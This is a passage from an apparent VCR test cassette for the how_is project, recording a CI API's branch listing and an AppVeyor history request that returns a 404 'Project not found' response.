"@representation": "standard", "name": "refactor2", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/release-v24.0.0", "@representation": "standard", "name": "release-v24.0.0", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/better-errors", "@representation": "standard", "name": "better-errors", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": false, "last_build": null }, { "@type": "branch", "@href": "/repo/8014235/branch/multi-repo-configs", "@representation": "standard", "name": "multi-repo-configs", "repository": { "@type": "repository", "@href": "/repo/8014235", "@representation": "minimal", "id": 8014235, "name": "how_is", "slug": "how-is/how_is" }, "default_branch": false, "exists_on_github": true, "last_build": null } ] } http_version: recorded_at: Fri, 26 Apr 2019 20:32:53 GMT - request: method: get uri: https://ci.appveyor.com/api/projects/how-is/how_is/history?recordsNumber=100 body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/json User-Agent: - how_is/24.0.0 (https://github.com/how-is/how_is/) Host: - ci.appveyor.com response: status: code: 404 message: Not Found headers: Cache-Control: - no-cache Pragma: - no-cache Content-Length: - '49' Content-Type: - application/json; charset=utf-8 Expires: - "-1" X-Xss-Protection: - 1; mode=block X-Frame-Options: - SAMEORIGIN Strict-Transport-Security: - max-age=31536000 X-Content-Type-Options: - nosniff Date: - Fri, 26 Apr 2019 20:32:53 GMT body: encoding: UTF-8 string: '{"message":"Project not found or access denied."}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:53 GMT recorded_with: VCR 4.0.0